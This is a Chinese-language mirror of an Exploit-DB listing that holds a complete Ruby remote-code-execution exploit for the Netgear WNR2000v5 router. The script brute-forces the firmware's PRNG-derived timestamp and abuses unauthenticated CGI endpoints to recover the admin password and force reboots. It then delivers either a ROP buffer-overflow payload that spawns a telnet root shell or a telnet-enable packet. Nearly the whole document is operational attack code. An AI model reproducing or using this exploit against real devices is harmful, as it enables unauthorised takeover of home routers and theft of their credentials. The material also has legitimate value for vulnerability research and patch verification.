Netgear WNR2000v5 – Remote Code Execution

  • 作者: Pedro Ribeiro
    日期: 2016-12-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40949/
  • #
    # Remote code execution in NETGEAR WNR2000v5
    # - by Pedro Ribeiro (pedrib@gmail.com) / Agile Information Security
    # Released on 20/12/2016
    #
    # NOTE: this exploit is "alpha" quality and has been deprecated. Please see the modules
    # accepted into the Metasploit framework, or https://github.com/pedrib/PoC/tree/master/exploits/metasploit/wnr2000
    #
    #
    # TODO:
    # - randomise payload
    
    require 'net/http'
    require 'uri'
    require 'time'
    require 'digest'
    require 'openssl'
    require 'socket'
    
    ####################
    # ported from https://git.uclibc.org/uClibc/tree/libc/stdlib/random.c
    # and https://git.uclibc.org/uClibc/tree/libc/stdlib/random_r.c
    
    TYPE_3 = 3
    BREAK_3 = 128
    DEG_3 = 31
    SEP_3 = 3
    
    @randtbl =
    [
    # we omit TYPE_3 from here, not needed
    -1726662223, 379960547, 1735697613, 1040273694, 1313901226,
    1627687941, -179304937, -2073333483, 1780058412, -1989503057,
    -615974602, 344556628, 939512070, -1249116260, 1507946756,
    -812545463, 154635395, 1388815473, -1926676823, 525320961,
    -1009028674, 968117788, -123449607, 1284210865, 435012392,
    -2017506339, -911064859, -370259173, 1132637927, 1398500161,
    -205601318,
    ]
    
    @unsafe_state = { 
    "fptr" => SEP_3,
    "rptr" => 0,
    "state" => 0,
    "rand_type" => TYPE_3,
    "rand_deg" => DEG_3,
    "rand_sep" => SEP_3,
    "end_ptr" => DEG_3
    }
    
    # Emulate the behaviour of C's srand
    def srandom_r (seed)
    state = @randtbl
    if seed == 0
    seed = 1
    end
    state[0] = seed
    
    dst = 0
    word = seed
    kc = DEG_3
    for i in 1..(kc-1)
    hi = word / 127773
    lo = word % 127773
    word = 16807 * lo - 2836 * hi
    if (word < 0)
    word += 2147483647
    end
    dst += 1
    state[dst] = word
    end
    
    @unsafe_state['fptr'] = @unsafe_state['rand_sep']
    @unsafe_state['rptr'] = 0
    
    kc *= 10
    kc -= 1
    while (kc >= 0)
    random_r
    kc -= 1
    end
    end
    
    # Emulate the behaviour of C's rand
    def random_r
    buf = @unsafe_state
    state = buf['state']
    
    fptr = buf['fptr']
    rptr = buf['rptr']
    end_ptr = buf['end_ptr']
    val = @randtbl[fptr] += @randtbl[rptr]
    
    result = (val >> 1) & 0x7fffffff
    fptr += 1
    if (fptr >= end_ptr)
    fptr = state
    rptr += 1
    else
    rptr += 1
    if (rptr >= end_ptr)
    rptr = state
    end
    end
    buf['fptr'] = fptr
    buf['rptr'] = rptr
    
    result
    end
    #####################
    
    #####################
    # Ruby code ported from https://github.com/insanid/netgear-telenetenable
    # 
    def telnetenable (username, password)
    mac_pad = @mac.gsub(':', '').upcase.ljust(0x10,"\x00")
    username_pad = username.ljust(0x10, "\x00")
    password_pad = password.ljust(0x21, "\x00")
    cleartext = (mac_pad + username_pad + password_pad).ljust(0x70, "\x00")
    
    md5 = Digest::MD5.new
    md5.update(cleartext)
    payload = (md5.digest + cleartext).ljust(0x80, "\x00").unpack('N*').pack('V*')
    
    secret_key = "AMBIT_TELNET_ENABLE+" + password
    cipher = OpenSSL::Cipher::Cipher.new("bf-ecb").send :encrypt
    cipher.key_len = secret_key.length
    cipher.key = secret_key
    cipher.padding = 0
    binary_data = (cipher.update(payload) << cipher.final)
    
    s = UDPSocket.new
    s.send(binary_data.unpack('N*').pack('V*'), 0, @target.split(':')[0], 23)
    end
    #####################
    
    # Do some crazyness to force Ruby to cast to a single-precision float and
    # back to an integer.
    # This emulates the behaviour of the soft-fp library and the float cast
    # which is done at the end of Netgear's timestamp generator.
    def ieee754_round (number)
    [number].pack('f').unpack('f*')[0].to_i
    end
    
    
    # This is the actual algorithm used in the get_timestamp function in
    # the Netgear firmware.
    def get_timestamp(time)
    srandom_r time
    t0 = random_r
    t1 = 0x17dc65df;
    hi = (t0 * t1) >> 32;
    t2 = t0 >> 31;
    t3 = hi >> 23;
    t3 = t3 - t2;
    t4 = t3 * 0x55d4a80;
    t0 = t0 - t4;
    t0 = t0 + 0x989680;
    
    ieee754_round(t0)
    end
    
    # Default credentials for the router
    USERNAME = "admin"
    PASSWORD = "password"
    
    def get_request(uri_str)
    uri = URI.parse(uri_str)
    http = Net::HTTP.new(uri.host, uri.port)
    #http.set_debug_output($stdout)
    request = Net::HTTP::Get.new(uri.request_uri)
    request.basic_auth(USERNAME, PASSWORD)
    http.request(request)
    end
    
    def post_request(uri_str, body)
    uri = URI.parse(uri_str)
    header = { 'Content-Type' => 'application/x-www-form-urlencoded' }
    http = Net::HTTP.new(uri.host, uri.port)
    #http.set_debug_output($stdout)
    request = Net::HTTP::Post.new(uri.request_uri, header)
    request.basic_auth(USERNAME, PASSWORD)
    request.body = body
    http.request(request)
    end
    
    def check
    response = get_request("http://#{@target}/")
    auth = response['WWW-Authenticate']
    if auth != nil
    if auth =~ /WNR2000v5/
    puts "[+] Router is vulnerable and exploitable (WNR2000v5)."
    return
    elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/
    puts "[-] Router is vulnerable, but this exploit might not work (WNR2000v3 or v4)."
    return
    end
    end
    puts "Router is not vulnerable."
    end
    
    def get_password
    response = get_request("http://#{@target}/BRS_netgear_success.html")
    if response.body =~ /var sn="([\w]*)";/
    serial = $1
    else
    puts "[-]Failed to obtain serial number, bailing out..."
    exit(1)
    end
    
    # 1: send serial number
    response = post_request("http://#{@target}/apply_noauth.cgi?/unauth.cgi", "submit_flag=match_sn&serial_num=#{serial}&continue=+Continue+")
    
    # 2: send answer to secret questions
    response = post_request("http://#{@target}/apply_noauth.cgi?/securityquestions.cgi", \
    "submit_flag=security_question&answer1=secretanswer1&answer2=secretanswer2&continue=+Continue+")
    
    # 3: PROFIT!!!
    response = get_request("http://#{@target}/passwordrecovered.cgi")
    
    if response.body =~ /Admin Password: (.*)<\/TD>/
    password = $1
    else
    puts "[-] Failed to obtain admin password, bailing out..."
    exit(1)
    end
    
    if response.body =~ /Admin Username: (.*)<\/TD>/
    username = $1
    else
    puts "[-] Failed to obtain admin username, bailing out..."
    exit(1)
    end
    
    puts "[+] Success! Got admin username #{username} and password #{password}"
    return [username, password]
    end
    
    def get_current_time
    response = get_request("http://#{@target}/")
    
    date = response['Date']
    Time.parse(date).strftime('%s').to_i
    end
    
    def get_auth_timestamp(mode)
    if mode == "bof"
    uri_str = "http://#{@target}/lang_check.html"
    else
    uri_str = "http://#{@target}/PWD_password.htm"
    end
    response = get_request(uri_str)
    if response.code == 401
    # try again, might fail the first time
    response = get_request(uri_str)
    if response.code == 200
    if response.body =~ /timestamp=([0-9]{8})/
    $1.to_i
    end
    end
    end
    end
    
    def got_shell
    puts "[+] Success, shell incoming!"
    exec("telnet #{@target.split(':')[0]}") 
    end
    
    if ARGV.length < 2
    puts "Usage: ./netgearPwn.rb <IP:PORT> <check|bof|telnet <MAC>> [noreboot]"
    puts "\tcheck: see if the target is vulnerable"
    puts "\tbof: run buffer overflow exploit on the target"
    puts "\ttelnet <mac>: run telnet exploit on the target, needs MAC address"
    puts "\tnoreboot: optional parameter - don't force a reboot on the target"
    exit(1)
    end
    
    @target = ARGV[0]
    mode = ARGV[1]
    
    if (ARGV.length > 2 && ARGV[2] == "noreboot") || (ARGV.length > 3 && ARGV[3] == "noreboot")
    reboot = false
    else
    reboot = true
    end
    
    if mode == "telnet"
    if ARGV.length == 3
    @mac = ARGV[2]
    elsif ARGV.length == 4
    @mac = ARGV[3]
    else
    puts "[-] telnet mode needs MAC address argument!"
    exit(-1)
    end
    end
    
    # Maximum time differential to try
    # Look 5000 seconds back for the timestamp with reboot
    # 500000 with no reboot
    if reboot
    TIME_OFFSET = 5000
    else
    TIME_OFFSET = 500000
    end
    
    # Increase this if you're sure the device is vulnerable and you're not getting a shell
    TIME_SURPLUS = 200
    
    if mode == "check"
    check
    exit(0)
    end
    
    if mode == "bof"
    def uri_encode (str)
    "%" + str.scan(/.{2}|.+/).join("%")
    end
    
    def calc_address (libc_base, offset)
    addr = (libc_base + offset).to_s(16)
    uri_encode(addr)
    end
    
    system_offset = 0x547D0
    gadget = 0x2462C
    libc_base = 0x2ab24000
    
    payload = 'a' * 36 + # filler_1
    calc_address(libc_base, system_offset) + # s0
    '1111' + # s1
    '2222' + # s2
    '3333' + # s3
    calc_address(libc_base, gadget) +# gadget
    'b' * 0x40 + # filler_2
    "killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh" # payload
    end
    
    # 0: try to see if the default admin username and password are set
    timestamp = get_auth_timestamp(mode)
    
    # 1: reboot the router to get it to generate new timestamps
    if reboot and timestamp == nil
    response = post_request("http://#{@target}/apply_noauth.cgi?/reboot_waiting.htm", "submit_flag=reboot&yes=Yes")
    if response.code == "200"
    puts "[+] Successfully rebooted the router. Now wait two minutes for the router to restart..."
    sleep 120
    puts "[*] Connect to the WLAN or Ethernet now. You have one minute to comply."
    sleep 60
    else
    puts "[-] Failed to reboot the router. Bailing out."
    exit(-1)
    end
    
    puts "[*] Proceeding..."
    end
    
    # 2: get the current date from the router and parse it, but only if we are not authenticated...
    if timestamp == nil
    end_time = get_current_time
    if end_time <= TIME_OFFSET
    start_time = 0
    else
    start_time = end_time - TIME_OFFSET
    end
    end_time += TIME_SURPLUS
    
    if end_time < (TIME_SURPLUS * 7.5).to_i
    end_time = (TIME_SURPLUS * 7.5).to_i
    end
    
    puts "[+] Got time #{end_time} from router, starting exploitation attempt."
    puts "[*] Be patient, this might take up a long time (typically a few minutes, but maybe an hour or more)."
    end
    
    if mode == "bof"
    uri_str = "http://#{@target}/apply_noauth.cgi?/lang_check.html%20timestamp="
    body = "submit_flag=select_language&hidden_lang_avi=#{payload}"
    else
    uri_str = "http://#{@target}/apply_noauth.cgi?/PWD_password.htm%20timestamp="
    body = "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=secretanswer1&question2=2&answer2=secretanswer2"
    end
    
    # 3: work back from the current router time minus TIME_OFFSET
    while true
    for time in end_time.downto(start_time)
    begin
    if timestamp == nil
    response = post_request(uri_str + get_timestamp(time).to_s, body)
    else
    response = post_request(uri_str + timestamp.to_s, body)
    end
    if response.code == "200"
    # this only occurs in the telnet case
    credentials = get_password
    telnetenable(credentials[0], credentials[1])
    sleep 5
    got_shell
    #puts "Done! Got admin username #{credentials[0]} and password #{credentials[1]}"
    #puts "Use the telnetenable.py script (https://github.com/insanid/netgear-telenetenable) to enable telnet, and connect to port 23 to get a root shell!" 
    exit(0)
    end
    rescue EOFError
    if reboot
    sleep 0.2
    else
    # with no reboot we give the router more time to breathe
    sleep 0.5
    end
    begin
    s = TCPSocket.new(@target.split(':')[0], 23)
    s.close
    got_shell
    rescue Errno::ECONNREFUSED
    if timestamp != nil
    # this is the case where we can get an authenticated timestamp but we could not execute code
    # IT SHOULD NEVER HAPPEN
    # But scream and continue just in case, it means there is a bug
    puts "[-] Something went wrong. We can obtain the timestamp with the default credentials, but we could not execute code."
    puts "[*] Let's try again..."
    timestamp = get_auth_timestamp
    end
    next
    end
    rescue Net::ReadTimeout
    # for bof case, we land here
    got_shell
    end
    end
    if timestamp == nil
    start_time = end_time - (TIME_SURPLUS * 5)
    end_time = end_time + (TIME_SURPLUS * 5)
    puts "[*] Going for another round, increasing end time to #{end_time} and start time to #{start_time}"
    end
    end
    
    # If we get here then the exploit failed
    puts "[-] Exploit finished. Failed to get a shell!"